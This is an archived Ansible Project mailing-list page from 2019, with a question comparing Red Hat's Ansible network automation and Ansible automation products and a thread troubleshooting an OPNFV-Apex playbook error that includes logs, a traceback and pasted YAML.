rajthecomputer...@gmail.com> wrote:

> Hi team,
>
> What is the major difference between Redhat ansible network automation and
> redhat ansible automation?
>
> thanks,
> Pushparaj
>
> --
> You received this message because you are subscribed to the Google Groups
> "Ansible Project" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to ansible-project+unsubscr...@googlegroups.com.
> To post to this group, send email to ansible-project@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/ansible-project/0a1861d0-582a-46f9-ba97-f746e3e7927f%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>


-- 

Jonathan Cha'gara Lozada De La Matta

He / Him / His

Automation Practice

Senior Automation Consultant & Automation CoP Manager

Red Hat 
@redhatjobs    redhatjobs
 @redhatjobs



-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/CAFYJA%2B%2BY8DOyfyjLs5w4Y%3DW%2Bch8GXS6QsngH%2BafjHCx70t5-uQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


[ansible-project] What is the major difference between Redhat ansible network automation and redhat ansible automation?

2019-05-29 Thread rajthecomputerguy
Hi team,

What is the major difference between Redhat ansible network automation and 
redhat ansible automation? 

thanks,
Pushparaj

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/0a1861d0-582a-46f9-ba97-f746e3e7927f%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] dict object has no attribute 'json'"} Ansible Error

2019-05-29 Thread Deva Krishnan
Hi Dick Visser,

Thank you for your advice. I will try to sort this out. For more help I 
will contact opnfv community.

Thanks & Regards,
Devakrishnan

On Wednesday, May 29, 2019 at 1:16:15 AM UTC+5:30, Dick Visser wrote:
>
> Did you get those playbooks from 
> https://github.com/opnfv/apex/tree/master/lib/ansible/playbooks ?
> If so, just a link would have been sufficient, rather than copy pasting 
> them as an unreadable piece of HTML email. 
>
> In any case, those playbooks are part of a much larger set of playbooks 
> and code. They’re highly specific to the OPNFV project. I would suggest 
> asking the people/authors over there first.
>
> Dick 
>
> On Tue, 28 May 2019 at 13:56, Deva Krishnan  > wrote:
>
>> Hi @ansible folks,
>>
>> Recently I found an Ansible error while installing Opnfv-Apex. I'm 
>> getting the below error message while deploying. It seems to be Ansible 
>> playbook failed error. 
>>
>> *Error Message :*
>>
>> *2019-05-27 20:45:16,635 INFO: TASK [include_tasks] 
>> 
>> *task path: 
>> /usr/share/opnfv-apex/ansible/playbooks/prepare_overcloud_containers.yml:31*
>> *fatal: [192.168.122.244]: FAILED! => {"msg": "The conditional check 
>> 'item in (response.json)['repositories']|join(\" \")' failed. The error 
>> was: error while evaluating conditional (item in 
>> (response.json)['repositories']|join(\" \")): 'dict object' has no 
>> attribute 'json'*
>>
>> *The error appears to be in 
>> '/usr/share/opnfv-apex/ansible/playbooks/prepare_overcloud_containers.yml': 
>> line 31, column 7, but may*
>> *be elsewhere in the file depending on the exact syntax problem.*
>>
>> *The offending line appears to be:*
>>
>> *  register: response*
>> *- include_tasks: patch_containers.yml*
>> *  ^ here*
>> *"}*
>>
>>
>> *2019-05-27 20:45:16,635 INFO: PLAY RECAP 
>> **
>> *192.168.122.244: ok=5changed=3unreachable=0
>> failed=1skipped=0rescued=0ignored=0   *
>>
>>
>> *2019-05-27 20:45:16,671 ERROR: Ansible playbook failed. See Ansible logs 
>> for details.*
>> *2019-05-27 20:45:16,671 ERROR: Unable to complete container prep on 
>> Undercloud*
>> *Traceback (most recent call last):*
>> *  File "/bin/opnfv-deploy", line 10, in *
>> *sys.exit(main())*
>> *  File "/usr/lib/python3.4/site-packages/apex/deploy.py", line 535, in 
>> main*
>> *tmp_dir=APEX_TEMP_DIR)*
>> *  File "/usr/lib/python3.4/site-packages/apex/common/utils.py", line 
>> 146, in run_ansible*
>> *raise Exception(e)*
>> *Exception: Ansible playbook failed. See Ansible logs for details.*
>>
>>
>> *===*
>>
>>
>>
>> *FYI :  Attached the yaml files of **prepare_overcloud_containers.yml 
>> and *
>> *patch_containers.yml below. Please let me know if you need any more 
>> information from my side. Hope some one can help me soon in this 
>> case.Thanks in advance.*
>>
>>
>>
>>
>> *[root@localhost playbooks]# cat patch_containers.yml ---  - name: "Pull 
>> docker image to ensure it exists locally: {{ item }}"shell: "{{ 
>> container_client }} pull {{ undercloud_ip }}:8787/tripleo{{ os_version 
>> }}/centos-binary-{{ item }}:current-tripleo"  - name: "Find docker image 
>> user {{ item }}"shell: >  {{ container_client }} inspect 
>> --format='{{ '{{' }}.ContainerConfig.User{{ '}}' }}'  {{ undercloud_ip 
>> }}:8787/tripleo{{ os_version }}/centos-binary-{{ item }}:current-tripleo
>> register: user_result  - name: "Patch docker image {{ item }}"shell: >  
>> cd /home/stack/containers/{{ item }} && {{ container_client }} build
>>   --build-arg REAL_USER={{ user_result.stdout }}  -t {{ undercloud_ip 
>> }}:8787/tripleo{{ os_version }}/centos-binary-{{ item }}:apex .*
>>
>> *  register: response- include_tasks: patch_containers.yml  
>> with_items: "{{ patched_docker_services }}"  loop_control:
>> loop_var: item  when:- patched_docker_services|length > 0  
>>   - item in (response.json)['repositories']|join(" ")*
>>
>>
>>
>>
>>
>>
>>
>>
>> -- 
>> You received this message because you are subscribed to the Google Groups 
>> "Ansible Project" group.
>> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to ansible...@googlegroups.com .
>> To post to this group, send email to ansible...@googlegroups.com 
>> .
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/ansible-project/210adedc-bf8d-4cb8-b908-05bd65ef162f%40googlegroups.com
>>  
>> 
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
> -- 
> Sent from a mobile device - please excuse